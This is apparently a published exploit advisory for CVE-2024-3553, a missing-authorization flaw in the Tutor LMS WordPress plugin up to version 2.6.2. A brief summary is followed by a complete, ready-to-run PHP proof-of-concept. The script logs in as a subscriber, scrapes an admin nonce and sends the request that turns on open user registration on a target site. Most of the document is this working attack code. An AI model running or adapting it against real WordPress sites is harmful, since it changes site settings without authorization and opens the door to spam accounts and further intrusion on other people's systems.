📄 Tutor LMS 2.6.2 Missing Authorization / Privilege Escalation

=============================================================================================================================================
    | # Title     : Tutor LMS 2.6.2 Missing Authorization vulnerability                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://tutorlms.com                                                                                                        |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213309/ & 	CVE-2024-3553
    
    [+] Summary    : missing authorization vulnerability in the Tutor LMS WordPress plugin (versions ≤ 2.6.2). 
                     The plugin fails to properly verify user capabilities in the hide_notices() function, relying only on is_admin() and a valid nonce. As a result, 
    				 any authenticated user, including low-privileged subscribers, can access the WordPress admin area, obtain a legitimate nonce, and trigger an unauthorized option update that enables global user registration. 
                     This may lead to unauthorized account creation, spam abuse, and potential follow-up attacks. The issue was fixed in version 2.7.0 by enforcing proper capability checks using current_user_can('manage_options').
    
    [+] POC : php poc.php https://target.com subscriber_user password
    
    <?php
    
    class TutorLMSPoC {
    
        private $target;
        private $username;
        private $password;
        private $cookie;
    
        public function __construct($target, $username, $password) {
            $this->target   = rtrim($target, '/');
            $this->username = $username;
            $this->password = $password;
            $this->cookie   = tempnam(sys_get_temp_dir(), 'wp_');
        }
    
        private function request($url, $post = false, $data = null) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (PoC)');
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
            if ($post === true) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            }
    
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        public function login() {
            echo "[*] Logging in as {$this->username}...\n";
    
            $loginUrl = $this->target . '/wp-login.php';
    
            $data = [
                'log'         => $this->username,
                'pwd'         => $this->password,
                'wp-submit'   => 'Log In',
                'redirect_to' => $this->target . '/wp-admin/',
                'testcookie'  => 1
            ];
    
            $response = $this->request($loginUrl, true, $data);
    
            if (strpos($response, 'wp-admin') !== false) {
                echo "[+] Login successful\n";
                return true;
            }
    
            echo "[-] Login failed\n";
            return false;
        }
    
        public function getNonce() {
            echo "[*] Extracting WordPress nonce...\n";
    
            $adminPage = $this->request($this->target . '/wp-admin/');
    
            if (preg_match('/_wpnonce[^"\']*["\']([a-f0-9]{10,})/i', $adminPage, $matches)) {
                echo "[+] Nonce found: {$matches[1]}\n";
                return $matches[1];
            }
    
            echo "[-] Nonce not found\n";
            return false;
        }
    
        public function exploit($nonce) {
            echo "[*] Sending exploit request...\n";
    
            $exploitUrl = $this->target . '/wp-admin/index.php?' . http_build_query([
                'tutor-hide-notice'  => 'registration',
                'tutor-registration'=> 'enable',
                '_wpnonce'           => $nonce
            ]);
    
            $this->request($exploitUrl);
    
            echo "[+] Exploit request sent\n";
        }
    
        public function checkRegistration() {
            echo "[*] Checking registration status...\n";
    
            $res = $this->request($this->target . '/wp-login.php?action=register');
    
            if (strpos($res, 'user_login') !== false) {
                echo "[!] Registration is ENABLED\n";
                return true;
            }
    
            echo "[!] Registration is DISABLED\n";
            return false;
        }
    }
    
    $target   = $argv[1] ?? null;
    $username = $argv[2] ?? null;
    $password = $argv[3] ?? null;
    
    if (!$target || !$username || !$password) {
        echo "Usage:\n";
        echo "php poc.php <target> <username> <password>\n";
        exit(1);
    }
    
    $poc = new TutorLMSPoC($target, $username, $password);
    
    if (!$poc->login()) {
        exit(1);
    }
    
    $nonce = $poc->getNonce();
    if (!$nonce) {
        exit(1);
    }
    
    $poc->exploit($nonce);
    $poc->checkRegistration();
    
    	
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================